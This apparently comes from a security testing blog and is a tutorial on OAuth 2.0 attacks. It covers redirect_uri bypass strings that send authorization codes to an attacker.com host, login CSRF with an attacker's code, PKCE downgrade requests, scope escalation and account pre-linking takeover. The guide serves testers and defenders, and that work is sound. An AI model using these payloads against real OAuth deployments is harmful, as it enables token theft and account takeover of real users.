Skip to content
Payload Playground
Back to blog

OAuth 2.0 Vulnerabilities: Stealing Tokens and Bypassing Authorization

August 15, 202514 min read
OAuthAuthenticationBug BountyAccount Takeover

OAuth 2.0 is the foundation of modern web authentication and authorization. Despite its widespread adoption, implementation flaws remain common and often lead to critical account takeovers. This guide covers the key attack vectors against OAuth 2.0, with practical exploitation techniques for bug bounty hunters and penetration testers.

OAuth 2.0 Flow Overview

VulnerabilityOAuth FlowImpactTest ApproachCVSS
state parameter missingAuthorization CodeCSRF on OAuth flowRemove state paramHigh
open redirect in redirect_uriAnyAccount takeoverModify redirect_uriCritical
Authorization code interceptionAuth CodeToken theftReferrer/log exposureCritical
implicit flow token leakageImplicitToken in URL/RefererCheck URL fragmentsHigh
Token scope escalationAnyPrivilege escalationModify scope parameterHigh
PKCE bypassAuth Code + PKCECode reuseReplay code without verifierHigh
JWT as access token - alg:noneAny JWT-basedFull auth bypassSet alg to noneCritical
sequenceDiagram Attacker->>OAuthServer: /authorize?redirect_uri=evil.com (modified) OAuthServer->>User: Authorize app? User->>OAuthServer: Approve OAuthServer->>EvilSite: Redirect with code (stolen!) EvilSite->>OAuthServer: Exchange code for token OAuthServer->>EvilSite: Access token EvilSite->>ResourceServer: API call with victim token ResourceServer->>EvilSite: Victim data

The authorization code flow (most common and secure):

  1. Client redirects user to authorization server with client_id, redirect_uri, scope, and state
  2. User authenticates and grants permissions
  3. Authorization server redirects to redirect_uri with an authorization code
  4. Client exchanges code for access_token (server-to-server, code kept secret)
  5. Client uses access_token to access protected resources

The implicit grant flow (deprecated but still used) skips step 4 and returns the token directly in the URL fragment.

Implicit Grant Token Leakage

In the implicit flow, the access token appears in the URL fragment:

https://app.com/callback#access_token=ya29.example&token_type=bearer

This token can leak via:

  • Browser history (fragment is stored)
  • Referer header to embedded third-party resources (images, analytics scripts)
  • JavaScript on the callback page with access to location.hash
  • Server logs if the server processes fragment-containing URLs

Referer-Based Token Theft

// On the callback page receiving the token in the fragment
// If the page loads any external resource, the Referer header may expose the token
// Look for patterns like:
<img src="https://analytics.example.com/track">
// Will send: Referer: https://app.com/callback#access_token=ya29.example

CSRF on the Authorization Endpoint

Without a validated state parameter, the authorization endpoint is vulnerable to CSRF. An attacker can initiate an OAuth flow using their own authorization code, tricking the victim into linking the attacker's account identity:

<!-- Attacker initiates OAuth flow with their account -->
<!-- Captures the authorization code assigned to their account -->
<!-- Before exchanging it, tricks victim into visiting: -->
https://app.com/oauth/callback?code=ATTACKER_CODE&state=MISSING_OR_STATIC

<!-- App exchanges attacker's code and links attacker's identity to victim's session -->
<!-- Attacker can now log in as victim by initiating the same OAuth flow -->

Open Redirect in redirect_uri

The redirect_uri parameter determines where the authorization code is sent. If validation is weak, an attacker can redirect the code to a controlled server.

Path Traversal Bypass

# Registered redirect_uri: https://app.com/callback
# Bypass attempts:
https://app.com/callback/../attacker-path
https://app.com/callback%2f..%2fattacker-path
https://app.com/callback?next=https://attacker.com/steal

Domain Suffix Bypass

# If validation checks "starts with" the registered domain:
https://app.com.attacker.com/callback

# If validation allows subdomains:
https://attacker.app.com/callback

# If validation uses regex without anchoring:
# Registered: app\.com
# Bypass: appXcom.attacker.com

Open Redirect Chaining

If the application has an open redirect vulnerability, chain it with OAuth:

redirect_uri=https://app.com/redirect?url=https://attacker.com/steal

The authorization server validates app.com domain, code is sent there, then the open redirect forwards it to the attacker. See our Open Redirect Exploitation Guide for bypass techniques.

State Parameter Bypass

The state parameter prevents CSRF and ties the authorization response to the initiating request. Weaknesses to test:

  • Missing state — No CSRF protection at all
  • Predictable state — Sequential numbers, timestamps, or static values
  • State not validated — Parameter accepted but never checked server-side
  • State reuse — Same state token accepted multiple times
# Test: Submit the callback with a different state value
GET /oauth/callback?code=AUTH_CODE&state=WRONG_VALUE HTTP/1.1

# If the application still exchanges the code, state validation is broken

PKCE Bypass

Proof Key for Code Exchange (PKCE) prevents authorization code interception attacks in public clients. It involves a code_verifier and code_challenge pair. Bypass scenarios:

Downgrade Attack

# If the server doesn't require PKCE for all clients:
# Initiate flow without code_challenge parameter
GET /authorize?response_type=code&client_id=CLIENT&redirect_uri=URI
# (no code_challenge parameter)

# If server accepts and issues a code without PKCE:
# Exchange it without code_verifier
POST /token
grant_type=authorization_code&code=AUTH_CODE&redirect_uri=URI

Plain Method Downgrade

# S256 is secure, plain is not (verifier == challenge)
# If server accepts plain method:
code_challenge_method=plain&code_challenge=KNOWN_VALUE
# Attacker can brute-force or guess the verifier

Account Takeover via OAuth

Pre-Authentication Account Linking

# Scenario: App allows linking Google OAuth to existing accounts
# Attack:
# 1. Register account with victim's email address (before victim does)
# 2. Victim logs in via Google OAuth (email matches existing account)
# 3. App links Google identity to attacker-registered account
# 4. Attacker can now log in as victim via Google

Token Scope Escalation

Test whether the application enforces scope restrictions on the access token:

# Authorized with read scope, attempt write operations:
POST /api/users/settings
Authorization: Bearer READ_ONLY_TOKEN
{"email": "[email protected]"}

Testing Checklist

  1. Map all OAuth flows in the application (login, account linking, third-party integrations)
  2. Verify state parameter existence, randomness, and server-side validation
  3. Test redirect_uri with path traversal, subdomains, and open redirect chaining
  4. Check for PKCE requirements and downgrade possibilities
  5. Test implicit flow for token leakage via Referer
  6. Attempt pre-authentication account linking attacks
  7. Verify scope enforcement on access tokens

OAuth CSRF issues complement general CSRF Bypass Techniques. For JWT-based OAuth tokens, see our JWT Attacks Guide. Open redirect vulnerabilities that enable OAuth token theft are detailed in our Open Redirect Exploitation Guide.

Put this into practice

Generate and test these payloads interactively — free, in your browser.

ShareXLinkedInReddit

Level up your security testing

Related Articles